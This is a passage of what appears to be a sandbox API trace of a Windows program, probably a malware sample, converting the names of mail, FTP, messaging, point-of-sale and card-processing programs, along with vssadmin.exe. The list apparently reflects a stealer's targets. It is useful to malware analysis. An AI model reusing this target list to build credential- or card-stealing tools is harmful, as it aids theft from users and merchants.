lpUsedDefaultChar=0x0) returned 9 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="foxmailincmail.exe", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="foxmailincmail.exe", cchWideChar=18, lpMultiByteStr=0x9d48b0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="foxmailincmail.exe", lpUsedDefaultChar=0x0) returned 18 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gmailnotifierpro.exe", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gmailnotifierpro.exe", cchWideChar=20, lpMultiByteStr=0x9d48b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gmailnotifierpro.exe", lpUsedDefaultChar=0x0) returned 20 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="icq.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="icq.exe", cchWideChar=7, lpMultiByteStr=0x9d48b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icq.exe", lpUsedDefaultChar=0x0) returned 7 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="leechftp.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="leechftp.exe", cchWideChar=12, lpMultiByteStr=0x9d48b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="leechftp.exe", lpUsedDefaultChar=0x0) returned 12 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ncftp.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ncftp.exe", cchWideChar=9, lpMultiByteStr=0x9d48b0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ncftp.exe", lpUsedDefaultChar=0x0) returned 9 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad.exe", cchWideChar=11, lpMultiByteStr=0x9d48b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad.exe", lpUsedDefaultChar=0x0) returned 11 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="operamail.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="operamail.exe", cchWideChar=13, lpMultiByteStr=0x9d48b0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="operamail.exe", lpUsedDefaultChar=0x0) returned 13 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook.exe", cchWideChar=11, lpMultiByteStr=0x9d48b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook.exe", lpUsedDefaultChar=0x0) returned 11 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pidgin.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pidgin.exe", cchWideChar=10, lpMultiByteStr=0x9d48b0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pidgin.exe", lpUsedDefaultChar=0x0) returned 10 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="scriptftp.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="scriptftp.exe", cchWideChar=13, lpMultiByteStr=0x9d48b0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scriptftp.exe", lpUsedDefaultChar=0x0) returned 13 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="skype.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="skype.exe", cchWideChar=9, lpMultiByteStr=0x9d48b0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="skype.exe", lpUsedDefaultChar=0x0) returned 9 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smartftp.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smartftp.exe", cchWideChar=12, lpMultiByteStr=0x9d48b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smartftp.exe", lpUsedDefaultChar=0x0) returned 12 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="thunderbird.exe", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="thunderbird.exe", cchWideChar=15, lpMultiByteStr=0x9d48b0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="thunderbird.exe", lpUsedDefaultChar=0x0) returned 15 [0038.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="totalcmd.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="totalcmd.exe", cchWideChar=12, lpMultiByteStr=0x9d48b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="totalcmd.exe", lpUsedDefaultChar=0x0) returned 12 [0038.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trillian.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trillian.exe", cchWideChar=12, lpMultiByteStr=0x9d48b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trillian.exe", lpUsedDefaultChar=0x0) returned 12 [0038.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="webdrive.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="webdrive.exe", cchWideChar=12, lpMultiByteStr=0x9d48b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="webdrive.exe", lpUsedDefaultChar=0x0) returned 12 [0038.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="whatsapp.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="whatsapp.exe", cchWideChar=12, lpMultiByteStr=0x9d48b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="whatsapp.exe", lpUsedDefaultChar=0x0) returned 12 [0038.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winscp.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winscp.exe", cchWideChar=10, lpMultiByteStr=0x9d48b0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winscp.exe", lpUsedDefaultChar=0x0) returned 10 [0038.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="yahoomessenger.exe", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0038.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="yahoomessenger.exe", cchWideChar=18, lpMultiByteStr=0x9d48b0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yahoomessenger.exe", lpUsedDefaultChar=0x0) returned 18 [0038.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active-charge.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active-charge.exe", cchWideChar=17, lpMultiByteStr=0x9d48b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active-charge.exe", lpUsedDefaultChar=0x0) returned 17 [0038.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="accupos.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="accupos.exe", cchWideChar=11, lpMultiByteStr=0x9d48b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accupos.exe", lpUsedDefaultChar=0x0) returned 11 [0038.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afr38.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afr38.exe", cchWideChar=9, lpMultiByteStr=0x9d48b0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afr38.exe", lpUsedDefaultChar=0x0) returned 9 [0038.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aldelo.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aldelo.exe", cchWideChar=10, lpMultiByteStr=0x9d48b0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aldelo.exe", lpUsedDefaultChar=0x0) returned 10 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ccv_server.exe", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ccv_server.exe", cchWideChar=14, lpMultiByteStr=0x9d48b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ccv_server.exe", lpUsedDefaultChar=0x0) returned 14 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="centralcreditcard.exe", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="centralcreditcard.exe", cchWideChar=21, lpMultiByteStr=0x9d48b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="centralcreditcard.exe", lpUsedDefaultChar=0x0) returned 21 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="creditservice.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="creditservice.exe", cchWideChar=17, lpMultiByteStr=0x9d48b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="creditservice.exe", lpUsedDefaultChar=0x0) returned 17 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="edcsvr.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="edcsvr.exe", cchWideChar=10, lpMultiByteStr=0x9d48b0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="edcsvr.exe", lpUsedDefaultChar=0x0) returned 10 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fpos.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fpos.exe", cchWideChar=8, lpMultiByteStr=0x9d48b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fpos.exe", lpUsedDefaultChar=0x0) returned 8 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isspos.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isspos.exe", cchWideChar=10, lpMultiByteStr=0x9d48b0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isspos.exe", lpUsedDefaultChar=0x0) returned 10 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mxslipstream.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mxslipstream.exe", cchWideChar=16, lpMultiByteStr=0x9d48b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mxslipstream.exe", lpUsedDefaultChar=0x0) returned 16 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="omnipos.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="omnipos.exe", cchWideChar=11, lpMultiByteStr=0x9d48b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="omnipos.exe", lpUsedDefaultChar=0x0) returned 11 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spcwin.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spcwin.exe", cchWideChar=10, lpMultiByteStr=0x9d48b0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spcwin.exe", lpUsedDefaultChar=0x0) returned 10 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spgagentservice.exe", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spgagentservice.exe", cchWideChar=19, lpMultiByteStr=0x9d48b0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spgagentservice.exe", lpUsedDefaultChar=0x0) returned 19 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="utg2.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="utg2.exe", cchWideChar=8, lpMultiByteStr=0x9d48b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="utg2.exe", lpUsedDefaultChar=0x0) returned 8 [0038.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mhplotvelvet.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mhplotvelvet.exe", cchWideChar=16, lpMultiByteStr=0x9d48b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mhplotvelvet.exe", lpUsedDefaultChar=0x0) returned 16 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="struggle_invited_gender.exe", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="struggle_invited_gender.exe", cchWideChar=27, lpMultiByteStr=0x9d48b0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="struggle_invited_gender.exe", lpUsedDefaultChar=0x0) returned 27 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lynn.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lynn.exe", cchWideChar=8, lpMultiByteStr=0x9d48b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lynn.exe", lpUsedDefaultChar=0x0) returned 8 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="measurement_standings_errors.exe", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="measurement_standings_errors.exe", cchWideChar=32, lpMultiByteStr=0x9d48b0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="measurement_standings_errors.exe", lpUsedDefaultChar=0x0) returned 32 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WmiPrvSE.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WmiPrvSE.exe", cchWideChar=12, lpMultiByteStr=0x9d48b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WmiPrvSE.exe", lpUsedDefaultChar=0x0) returned 12 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WmiPrvSE.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WmiPrvSE.exe", cchWideChar=12, lpMultiByteStr=0x9d48b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WmiPrvSE.exe", lpUsedDefaultChar=0x0) returned 12 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dllhost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dllhost.exe", cchWideChar=11, lpMultiByteStr=0x9d48b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dllhost.exe", lpUsedDefaultChar=0x0) returned 11 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dllhost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dllhost.exe", cchWideChar=11, lpMultiByteStr=0x9d48b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dllhost.exe", lpUsedDefaultChar=0x0) returned 11 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OUSCAN~1:bin", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OUSCAN~1:bin", cchWideChar=12, lpMultiByteStr=0x9d6868, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OUSCAN~1:bin", lpUsedDefaultChar=0x0) returned 12 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vssadmin.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vssadmin.exe", cchWideChar=12, lpMultiByteStr=0x9d68b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin.exe", lpUsedDefaultChar=0x0) returned 12 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="conhost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="conhost.exe", cchWideChar=11, lpMultiByteStr=0x9d68b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="conhost.exe", lpUsedDefaultChar=0x0) returned 11 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x9d68b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscorsvw.exe", lpUsedDefaultChar=0x0) returned 12 [0038.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VSSVC.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VSSVC.exe", cchWideChar=9, lpMultiByteStr=0x9d68b0, 